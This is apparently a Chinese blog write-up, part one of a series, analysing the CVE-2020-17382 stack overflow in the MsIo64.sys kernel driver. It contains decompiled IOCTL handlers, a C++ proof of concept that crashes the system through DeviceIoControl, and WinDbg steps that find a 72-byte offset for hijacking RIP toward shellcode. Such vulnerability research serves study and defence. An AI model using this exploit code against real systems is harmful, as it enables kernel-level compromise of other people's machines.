以CVE-2020-17382为例
![[MsIo64.sys]]
sc create MsIo64 type= kernel binPath= C:r0CVE-2020-17382MsIo64.sys
sc start MsIo64
sc stop MsIo64
sc delete MsIo64
结果如下
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:Windowssystem32>sc create MsIo64 type= kernel binPath= C:r0CVE-2020-17382
MsIo64.sys
[SC] CreateService 成功
C:Windowssystem32>sc start MsIo64
SERVICE_NAME: MsIo64
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
逆向MsIo64.sys,找到对应的派遣函数处理逻辑
ControlCode = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
switch ( ControlCode )
{
case0x80102040:
DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
if ( !(_DWORD)InputBufferLength )
goto LABEL_9;
memmove(Src, InputBuffer, InputBufferLength);
Status_1 = sub_11090(Src[1], &Object);
if ( Status_1 >= 0 )
{
memmove(InputBuffer, Src, InputBufferLength);
Irp->IoStatus.Information = InputBufferLength;
}
Irp->IoStatus.Status = Status_1;
break;
case0x80102044:
DbgPrint("IOCTL_MSIO_UNMAPPHYSADDR");
if ( (_DWORD)InputBufferLength )
{
memmove(Src, InputBuffer, InputBufferLength);
Irp->IoStatus.Status = sub_11360((HANDLE)Src[2].QuadPart, (PVOID)Src[3].QuadPart, Object);
break;
}
goto LABEL_9;
case0x80102050:
DbgPrint("IOCTL_MSIO_READPORT");
if ( !(_DWORD)InputBufferLength )
goto LABEL_9;
memmove(&Dst, InputBuffer, InputBufferLength);
if ( n4 == 1 )
{
v10 = __inbyte(Dst);
*(_DWORD *)&InputBuffer->Type = v10;
Irp->IoStatus.Information = 4LL;
}
elseif ( n4 == 2 )
{
v9 = __inword(Dst);
*(_DWORD *)&InputBuffer->Type = v9;
Irp->IoStatus.Information = 4LL;
}
else
{
if ( n4 == 4 )
{
v8 = __indword(Dst);
*(_DWORD *)&InputBuffer->Type = v8;
}
else
{
*(_DWORD *)&InputBuffer->Type = v17;
}
Irp->IoStatus.Information = 4LL;
}
break;
case0x80102054:
DbgPrint("IOCTL_MSIO_WRITEPORT");
if ( !(_DWORD)InputBufferLength )
goto LABEL_9;
memmove(&Dst, InputBuffer, InputBufferLength);
switch ( n4 )
{
case1:
__outbyte(Dst, v17);
break;
case2:
__outword(Dst, v17);
break;
case4:
__outdword(Dst, v17);
break;
}
break;
由上代码可知:0x80102040、0x80102044、0x80102050、0x80102054中的memmove函数均能造成溢出,而memmove函数定义如下
Memmove
void*memmove(
void*dest,
constvoid*src,
size_t count
);
- dest
-- 指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。 - src
-- 指向要复制的数据源,类型强制转换为 void* 指针。 - n
-- 要被复制的字节数。 -
该函数返回一个指向目标存储区 dest 的指针。
以0x80102040为例,PHYSICAL_ADDRESS Src[4];
其中PHYSICAL_ADDRESS类型元素为一个QWORD,数组占用32个字节,构造超过这个数目的字节就有可能造成溢出。编写对应的利用代码
#include<windows.h>
#include<iostream>
#define SymLinkName L"\\.\MsIo"
#define IOCTL_CODE 0x80102040
intmain()
{
HANDLE hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (hDevice == INVALID_HANDLE_VALUE)
{
std::cout << "CreateFile error:" << GetLastError() << std::endl;
return1;
}
DWORD dwWrite;
char data[100];
memset(data,'A',100);
DeviceIoControl(hDevice, IOCTL_CODE, data, sizeof(data), NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return0;
}
成功造成了Crash效果
现在可以去调试一下,构造一下栈空间,利用[[Windows双机调试环境&驱动开发环境配置]]文章所述,构造调试环境。
WinDBG+IDA断点调试
下断点方式
IDA+windbg
IDA看断点位置的相对偏移,然后windbg查看加载基址,基址+相对偏移下断点
memmove断点偏移为1623(10000是base地址),而在Windbg中,利用lm
命令查看各个模块的加载基址
fffff880`02747000 fffff880`0274d000 MsIo64(deferred)
参数rsp计算差值
MsIo64的起始地址为fffff880
02747000,偏移为1623,因此断点应该下载fffff880
02747000+1623,当运行EXP.exe后停在断点,此时寄存器情况
RAX: 0000000000000000 RBX: 0000000000000064 RCX: FFFFF88006220800
RDX: FFFFFA800373E340 RSI: FFFFFA800373E340 RDI: FFFFFA8003ACB300
RIP: FFFFF8800277C623 RSP: FFFFF880062207D0 RBP: FFFFFA8003ACB3D0
R8: 0000000000000064 R9: FFFFF80003EED210 R10: 4141414141414141
R11: FFFFF880062207C8 R12: FFFFFA8003806580 R13: 0000000000000000
R14: FFFFFA8003ACB418 R15: 0000000000000000
EFLAGS: 00000202 CF=0 PF=0 AF=0 ZF=0 SF=0 TF=0 IF=1 DF=0 OF=0
LastErrorValue: 0x00000000
LastStatusValue: 0xC0000135
RCX位置存放着src,接近着一直运行直到ret
![[Pasted image 20250330083726.png]]
栈上充满了A(0x41),此时栈顶值为[0x0] MsIo64+0x16b9 0xfffff88006220848 0x4141414141414141
,即ret之后0xfffff88006220848
会变成rip,现在计算所需覆盖的区域大小即
kd> ?0xfffff88006220848-FFFFF88006220800
Evaluate expression: 72 = 00000000`00000048
因此要铺垫72个长度的值,再放置想要执行的shellcode位置,现在我们就能控制执行的命令了。
原文始发于微信公众号(Sec探索者):Windows 内核驱动 MsIo64.sys 的溢出漏洞分析与EXP构造上
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论